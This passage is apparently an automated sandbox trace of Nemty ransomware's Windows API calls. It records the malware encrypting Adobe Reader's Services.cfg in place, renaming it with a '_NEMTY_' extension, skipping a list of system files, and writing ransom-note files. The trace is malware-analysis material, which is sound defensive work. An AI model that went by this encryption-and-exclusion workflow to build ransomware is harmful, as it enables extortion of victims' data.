CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.cfg", lpUsedDefaultChar=0x0) returned 12 [0193.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.cfg", lpUsedDefaultChar=0x0) returned 12 [0193.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.275] Sleep (dwMilliseconds=0x5) [0193.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26da10f0, dwHighDateTime=0x1d561e8)) [0193.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26da10f0, dwHighDateTime=0x1d561e8)) [0193.282] GetLastError () returned 0x0 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.282] GetLastError () returned 0x0 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.282] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.282] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.282] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.282] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="/XTZikrXUSXKrFbQBhAMWBL+dFnphosz9l9yzi5DVs58C9SDItDwGYO8DLJxPFBY\r\neZkwPc9EsA009Iihf57505SmARwV5DA92xeGMfWHiyRgt/4zZ/iHc8frtFNCk41V\r\ng2QkDvq47cWLxgXtX3zOkSfcRE4yOeBuEr6l/LI9xydxhyBBzRJ/ZnSh11+q6zrY\r\nEk7b1501ptUFodCzh2UJT14XS8asG9cS96l4m0x3itPmjrFzHd5iGPLym2A3lj08\r\nqUUJArIwF/huBgnWx1HolwpZ8V5thJFMfMAGCCYsIiBsCeJx9b5GnwwMDLA4jd7T\r\n0QAm767VdHzjLUtqgqWhrg==\r\n", pcchString=0x653e91c) returned 1 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.283] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=32633) returned 1 [0193.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7f70) returned 0x6352c48 [0193.283] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.283] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7f70, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x7f70, lpOverlapped=0x0) returned 1 [0193.287] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.287] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x7f70, lpOverlapped=0x0) returned 1 [0193.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.287] SetFilePointer (in: hFile=0x254, lDistanceToMove=32633, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f79 [0193.287] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.287] CloseHandle (hObject=0x254) returned 1 [0193.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.287] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg._nemty_kgobjgd_")) returned 1 [0193.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.290] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d2ecd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26d2ecd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26d2ecd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.291] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d2ecd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26d2ecd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26d2ecd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.291] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.291] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SPPlugins", cAlternateFileName="SPPLUG~1")) returned 1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2=".") returned 1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2="..") returned 1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2="...") returned 1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2="windows") returned -1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2="$RECYCLE.BIN") returned 1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2="rsa") returned 1 [0193.291] lstrcmpiW (lpString1="SPPlugins", lpString2="NTDETECT.COM") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="ntldr") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="MSDOS.SYS") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="IO.SYS") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="boot.ini") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="boot.ini") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="AUTOEXEC.BAT") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="ntuser.dat") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="desktop.ini") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="CONFIG.SYS") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="RECYCLER") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="BOOTSECT.BAK") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="bootmgr") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="programdata") returned 1 [0193.292] lstrcmpiW (lpString1="SPPlugins", lpString2="appdata") returned 1 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SPPlugins", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SPPlugins", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SPPlugins", lpUsedDefaultChar=0x0) returned 9 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SPPlugins", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SPPlugins", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SPPlugins", lpUsedDefaultChar=0x0) returned 9 [0193.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0193.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.293] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.293] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0193.294] CloseHandle (hObject=0x1ec) returned 1 [0193.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0193.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.295] 